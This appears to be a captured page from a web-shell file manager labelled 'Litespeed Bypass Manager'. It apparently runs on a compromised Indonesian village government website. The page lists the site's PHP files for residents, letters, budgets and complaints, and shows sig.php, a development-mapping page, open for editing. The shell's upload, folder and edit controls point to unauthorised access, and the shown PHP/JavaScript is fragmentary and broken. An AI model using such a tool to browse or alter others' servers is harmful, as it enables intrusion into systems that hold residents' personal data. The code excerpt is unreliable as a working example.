Litespeed kontol

Isi Folder

📁 TemplateFolder
📁 assetsFolder
📁 assets2Folder
📁 calenderFolder
📁 ckeditorFolder
📁 cssFolder
📁 datatablesFolder
📁 fontsFolder
📁 imagesFolder
📁 includesFolder
📁 jsFolder
📁 leafletFolder
📁 scriptsFolder
📁 spreadsheet-reader-masterFolder
📁 uploadsFolder
📁 vendorFolder
📄 aksi.phpEdit
📄 aksiGetPenduduk.phpEdit
📄 aksiGetPenduduk2.phpEdit
📄 apbdes.phpEdit
📄 artikel.phpEdit
📄 belanja_proses.phpEdit
📄 buat_surat.phpEdit
📄 buat_surat2.phpEdit
📄 cari_penduduk.phpEdit
📄 config.phpEdit
📄 daftar_proses.phpEdit
📄 data.phpEdit
📄 data_surat.phpEdit
📄 error_logEdit
📄 excel_reader.phpEdit
📄 exportexcelindividu.phpEdit
📄 exportexcelkeluarga.phpEdit
📄 exportxls.phpEdit
📄 functions.phpEdit
📄 hapus_artikel_proses.phpEdit
📄 hapus_legal_proses.phpEdit
📄 hapus_lembaga_proses.phpEdit
📄 hapus_profil_proses.phpEdit
📄 hapus_sig_proses.phpEdit
📄 hapus_surat.phpEdit
📄 hapus_user_proses.phpEdit
📄 hidden_aduan_proses.phpEdit
📄 hidden_profil_proses.phpEdit
📄 home.phpEdit
📄 importindividu.phpEdit
📄 importkeluarga.phpEdit
📄 index.phpEdit
📄 individu.phpEdit
📄 keluarga.phpEdit
📄 konfigurasi.phpEdit
📄 laporan_bulan.phpEdit
📄 legal.phpEdit
📄 lembaga.phpEdit
📄 lembaga_proses.phpEdit
📄 lembaga_ubah_proses.phpEdit
📄 logo_proses.phpEdit
📄 modal_detail.phpEdit
📄 modal_disposisi.phpEdit
📄 modal_selesai.phpEdit
📄 modal_tindaklanjut.phpEdit
📄 modal_ubah_anggaran.phpEdit
📄 modal_ubah_artikel.phpEdit
📄 modal_ubah_belanja.phpEdit
📄 modal_ubah_individu.phpEdit
📄 modal_ubah_keluarga.phpEdit
📄 modal_ubah_legal.phpEdit
📄 modal_ubah_lembaga.phpEdit
📄 modal_ubah_profil.phpEdit
📄 modal_ubah_realisasi.phpEdit
📄 modal_ubah_realisasibelanja.phpEdit
📄 modal_ubah_sig.phpEdit
📄 modal_ubah_user.phpEdit
📄 modal_view_individu.phpEdit
📄 modal_view_keluarga.phpEdit
📄 modal_view_mutasipenduduk.phpEdit
📄 modal_view_surat.phpEdit
📄 mutasi_penduduk.phpEdit
📄 notif.jsEdit
📄 notif.phpEdit
📄 notif_pengaduan.phpEdit
📄 notifikasi.phpEdit
📄 pemdes.phpEdit
📄 pendapatan_proses.phpEdit
📄 penduduk_keluar.phpEdit
📄 penduduk_masuk.phpEdit
📄 pengaduan.phpEdit
📄 profil.phpEdit
📄 profil_proses.phpEdit
📄 profil_ubah_proses.phpEdit
📄 proses_konfigurasi.phpEdit
📄 proses_penduduk_keluar.phpEdit
📄 proses_penduduk_masuk.phpEdit
📄 proses_upload.phpEdit
📄 regUser.phpEdit
📄 sig.phpEdit
📄 simpan_surat.phpEdit
📄 surat.phpEdit
📄 surat_aksi.phpEdit
📄 tambah_artikel_proses.phpEdit
📄 tambah_legal_proses.phpEdit
📄 tambah_sig_proses.phpEdit
📄 tampil_aduan_proses.phpEdit
📄 tampil_profil_proses.phpEdit
📄 template_surat.phpEdit
📄 template_surat2.phpEdit
📄 to_xls.phpEdit
📄 ubahDisposisi.phpEdit
📄 ubahPassword.phpEdit
📄 ubahSelesai.phpEdit
📄 ubahStatus_user_proses.phpEdit
📄 ubahTindakan.phpEdit
📄 ubah_artikel_proses.phpEdit
📄 ubah_belanja_proses.phpEdit
📄 ubah_individu_proses.phpEdit
📄 ubah_keluarga_proses.phpEdit
📄 ubah_legal_proses.phpEdit
📄 ubah_pendapatan_proses.phpEdit
📄 ubah_realisasi_proses.phpEdit
📄 ubah_realisasibelanja_proses.phpEdit
📄 ubah_sig_proses.phpEdit
📄 ubah_user_proses.phpEdit
📄 viewBottomProfil.phpEdit
📄 viewTopProfil.phpEdit
📄 viewapbdes.phpEdit
📄 viewartikel.phpEdit
📄 viewbelanja.phpEdit
📄 viewbpd.phpEdit
📄 viewer.phpEdit
📄 viewindividu.phpEdit
📄 viewkeluarga.phpEdit
📄 viewlegal.phpEdit
📄 viewlpmd.phpEdit
📄 viewmutasipenduduk.phpEdit
📄 viewpemdes.phpEdit
📄 viewrealisasi.phpEdit
📄 viewrealisasibelanja.phpEdit
📄 viewsig.phpEdit
📄 viewsuara.phpEdit
📄 viewsurat.phpEdit
📄 viewuser.phpEdit

Edit File: sig.php

}

#map2 {
		width: auto;
		height: 250px;
		border: 1px #222222;
	}
	.modal {
  visibility: hidden;
  display: block;
}

.modal[aria-hidden='false'] {
  visibility: visible;
  display: block;
}
</style>
<?php
session_start();
include_once '../librari/inc.koneksidb.php';
include_once "../librari/inc.librari.php";

$sql2   ="SELECT COUNT(*) AS jumlah FROM tb_tempat";
$query2 = mysql_query($sql2,$koneksiDbs) or die ("query salah !".mysql_error()); 
$get_jumlah = mysql_fetch_array($query2);
$sql = "select max(id_tempat) from tb_tempat";
$query = mysql_query($sql, $koneksiDbs);
$jml = mysql_fetch_row($query);
$nomer = $jml[0] + 1;
?>

<section id="topic-header" >
								<div class="container-fluid">
									<div class="row">
										<div class="col-md-4">
											<h3><span class="glyphicon glyphicon-map-marker"></span> SIG Pembangunan</h3>
											<p></p>
										</div>	
										<div class="col-md-8 hidden-xs">
											<ol class="breadcrumb pull-right">
												<li><a href="index.php">Home</a></li>
												<li class="active">SIG Pembangunan</li>
											</ol>
										</div> 
									</div>	
								</div>	
							</section>
							
							<div class="container-fluid" style="margin-top:30px">
								<div class="row" style="padding:10px">
<div class='table-responsive'>
  
     <p class="text-left"><a href="javascript.void(0)"  class="btn btn-success" data-target="#ModalAddSIG" data-toggle="modal"><i class="fa fa-plus-square" aria-hidden="true"></i> Tambah</a> <a href="#" onclick=" $('.tab-menu').load('sig.php');" class="btn btn-info"><i class="fa fa-refresh" aria-hidden="true"></i> Refresh</a></p>
    <table id="my-gridSIG" class="tableku" style="font-size:12px;">
        <thead style="background:#2e323a">
            <tr>
				 <th>No</th>
                <th>Foto Lokasi</th>
                <th>Jenis Pembangunan</th>
                <th>Latitudinal</th>
                <th>Longitudinal</th>
                <th>Lokasi</th>
                <th>Tahun Anggaran</th>
                <th class='no-sort'>Edit</th>
				<th class='no-sort'>Hapus</th>
            </tr>
        </thead>
        <tbody>
            
        </tbody>
      
    </table>
	
</div>
<script>
        $(document).ready(function() {
				var dataTable = $('#my-gridSIG').DataTable( {
					"processing": true,
					"serverSide": true,
					
		
		
					"ajax":{
						url :"viewsig.php", // json datasource
						type: "post",  // method  , by default get
						error: function(){  // error handling
							$(".lookup-error").html("");
							$("#my-gridSIG").append('<tbody class="employee-grid-error"><tr><th colspan="3">No data found in the server</th></tr></tbody>');
							$("#lookup_processing").css("display","none");
							
						}
					},
		
				} );
			} );						
        </script>
		
		
<div id="Modaleditsig" data-backdrop="static" data-keyboard="false"  class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">

</div>
<div id="modal-deleteSIG" data-backdrop="static" data-keyboard="false"  class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
    <div class="modal-dialog">
        <div class="modal-content">

<div class="modal-header">
                <h5 class="modal-title">Are you sure to delete this data ?</h5>
                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>

<div class="modal-footer" style="margin:0px; border-top:0px; text-align:center;">
                <button type="button" class="btn btn-danger" id="delete_linkSIG">Delete</button>
                <button type="button" class="btn btn-success" data-dismiss="modal">Cancel</button>
            </div>
        </div>
    </div>
</div>

<div id="ModalAddSIG"  data-backdrop="static" data-keyboard="false" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
    <div class="modal-dialog">
		
			<div class="modal-content">
			
				<div class="panel panel-success" style="margin-bottom:0px;">
						<button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
					  <div class="panel-heading"><h4>Tambah Peraturan</h4></div>
					  <div class="panel-body">
<form action="" class="form-horizontal" method="post" id="postform" name="postform" target="_self">
		<div class="form-group">
			<label class="control-label col-sm-4">No. ID</label>  
			<div class="col-sm-8">
				<input class="form-control mb-2" name="no" type="text" id="no" value="<?php echo $nomer ;?>" readonly="readonly" />
			</div>
		</div>
		<div class="form-group">
			<label class="control-label col-sm-4">Nama Pembangunan</label>
			<div class="col-sm-8">
				<input class="form-control mb-2" name="txtNamaPembangunan" type="text" id="txtNamaPembangunan" />
			</div>
		</div>
		<div class="form-group">
			<label class="control-label col-sm-4">Latitudinal</label>
			<div class="col-sm-8">
				<input class="form-control mb-2" type="text" id="latInput" name="latInput" readonly="readonly" />
			</div>
		</div>
		<div class="form-group">
			<label class="control-label col-sm-4">Longitudinal</label>
			<div class="col-sm-8">
				<input class="form-control" readonly="readonly" type="text" id="lngInput" name="lngInput" />
			</div>
		</div>
		<div class="form-group">
			<div class="col-sm-12">
				<label class="control-label" style="margin-bottom:10px;">Buat Marker untuk Latitude dan Longitude :</label>
				<div id="map2"></div>
			</div>
		</div>
		<div class="form-group">
			<label class="control-label col-sm-4">Lokasi</label>
			<div class="col-sm-8">
				<input class="form-control" name="txtLokasi" id="txtLokasi" type="text" />
			</div>
		</div>
		<div class="form-group">
			<label class="control-label col-sm-4">Tahun Anggaran</label>
			<div class="col-sm-8">
				<input class="form-control" name="txtTahunAnggaran" type="text" id="txtTahunAnggaran" />
			</div>
		</div>
		<div class="form-group">
			<label class="control-label col-sm-12" style="text-align:left; margin-bottom:10px;">Keterangan Pembangunan :</label>
			<div class="col-sm-12">
				<textarea class="form-control" name="isi" id="isi" rows="20" required="required"></textarea>
				<script>
                     CKEDITOR.replace('isi');
                </script>
			</div>
		</div>
		<div class="form-group">
			<label class="control-label col-sm-4" style="text-align:left;">Upload Foto<br/><br/><p style="font-size:11px;color:grey;text-align:left;">1. File Maksimal 500 kb.<br>2. Ukuran Foto disarankan Landscape untuk Proporsional tampilan.<br>
			3. Format Foto JPG, JPEG or PNG.</p></label>
			<div class="col-sm-8">
				<input class="form-control" name="foto" id="foto" type="file" onchange="previewImageUpdate();" />
				<span id="file_error"></span>
				<img style="margin-top:10px;" id="image-preview-update" alt="image preview" width="100px"/><br>
				<center><div id="loading"></div></center><br>
			</div>
		</div>
		<div class="form-group">
			<div class="col-sm-offset-4 col-sm-8">
				<button class="btn btn-success" name="btnSave" type="submit" id="btnSimpanSIG" />Simpan</button>
				<button type="button" class="btn btn-danger" data-dismiss="modal">Close</button>
			</div>
		</div>
</form>
</div>
</div>
</div>
</div>
<script type="text/javascript">
 $('#image-preview-update').hide();  
function previewImageUpdate() {
	$("#file_error").html("");
 $("#foto").css("border-color","#F0F0F0");
 var file_size = $('#foto')[0].files[0].size;
 if(file_size>500000) {
  $("#file_error").html("File maksimal 500 kb");
  $("#foto").css("border-color","#FF0000");
  $('#image-preview-update').hide(); 
  return false;
 } 
else {
      document.getElementById("image-preview-update").style.display = "block";
	  
      var oFReader = new FileReader();
      oFReader.readAsDataURL(document.getElementById("foto").files[0]);
  
      oFReader.onload = function(oFREvent) {
        document.getElementById("image-preview-update").src = oFREvent.target.result;
      };
	   $('#image-preview-update').show();  
}
    };
       $("#btnSimpanSIG").click(function(e){
			e.preventDefault();
            var no = $("#no").val();
            var txtNamaPembangunan = $("#txtNamaPembangunan").val();
            var txtLokasi = $("#txtLokasi").val();
            var txtTahunAnggaran = $("#txtTahunAnggaran").val();
            var latInput = $("#latInput").val();
            var lngInput = $("#lngInput").val();
            var isi = CKEDITOR.instances['isi'].getData();
            const foto = $('#foto').prop('files')[0];
			if (txtNamaPembangunan!="" && txtLokasi!="" && txtTahunAnggaran!="" && latInput!="" && lngInput!="" && isi!="" && $('#foto').val()!="") {
				var file_size = $('#foto')[0].files[0].size;
				 if(file_size>500000) {
				  Swal.fire('Warning!','Foto maksimal 500 kb.','warning');
				  return false;
				 }
		        let formData = new FormData();
				formData.append('no', no);
		        formData.append('txtNamaPembangunan', txtNamaPembangunan);
		        formData.append('txtLokasi', txtLokasi);
		        formData.append('txtTahunAnggaran', txtTahunAnggaran);
		        formData.append('latInput', latInput);
		        formData.append('lngInput', lngInput);
		        formData.append('isi', isi);
		        formData.append('foto', foto);
            $.ajax({
               type: 'POST',
		            url: "tambah_sig_proses.php",
		            data: formData,
		            cache: false,
		            processData: false,
		            contentType: false,
                success: function(a) {
                     Swal.fire('Sukses!','Data Berhasil ditambahkan.','success');
					 $("#ModalAddSIG").modal('hide');
						//$('.tab-content').load('sig.php');
						 
                }
            })
			
			}
			else {
			Swal.fire('Warning!','Data belum lengkap.','warning');
			
		}
			
			
        });
</script>
<?php

include_once "../librari/inc.koneksidb.php";
$sql = "select * from tb_options where option_name='default_lat'";
$query = mysql_query($sql, $koneksiDbs) or die("query salah !" . mysql_error());
$data = mysql_fetch_array($query);

$sql2 = "select * from tb_options where option_name='default_lng'";
$query2 = mysql_query($sql2, $koneksiDbs) or die("query salah !" . mysql_error());
$data2 = mysql_fetch_array($query2);
$sql3 = "select * from tb_tempat ORDER by id_tempat";
$query3 = mysql_query($sql3, $koneksiDbs) or die("query salah !" . mysql_error());
?>

var marker = L.marker(mapCenter).addTo(map2);
		var updateMarker = function(lat, lng) {
			marker
				.setLatLng([lat, lng])
				.bindPopup("Lokasi Pembangunan :  " + marker.getLatLng().toString())
				.openPopup();
			return false;
		};
		map2.on('click', function(e) {
			$('#latInput').val(e.latlng.lat);
			$('#lngInput').val(e.latlng.lng);
			updateMarker(e.latlng.lat, e.latlng.lng);
		});

var updateMarkerByInputs = function() {
			return updateMarker($('#latInput').val(), $('#lngInput').val());
		}
		$('#latInput').on('input', updateMarkerByInputs);
		$('#lngInput').on('input', updateMarkerByInputs);
	}

$(document).ready(function() {
		addMapPicker();
	});
	
</script>

</div>

}
            });
        });
</script>
<script type="text/javascript">
		$('body').on('click', '.open_hapus', function(e) {
            var id = $(this).attr("id");
            e.preventDefault();
			 $('#modal-deleteSIG').modal('show', {
            backdrop: 'static'
			});
		 $("#delete_linkSIG").on("click", function() {
           
            $.ajax({
                url: "hapus_sig_proses.php",
                method: "POST",
                data: {
                    no: id,
                },
                 success: function(response) {
                     Swal.fire('Sukses Hapus!','Data Berhasil dihapus.','success');
					 
					 $('.tab-content').load('sig.php');
                }
            });
			$("#modal-deleteSIG").modal('hide');
			return false;
        });
    });
</script>
		
		<br>
<div class="alert alert-info">
<p><strong>Total Data Pembangunan </strong> <?php echo $get_jumlah['jumlah']; ?>.</p>
</div>
</div>
</div>

Catatan: Mengedit file biner tidak disarankan.

Litespeed Bypass Manager

Buat Folder Baru

Upload File

Isi Folder

Edit File: sig.php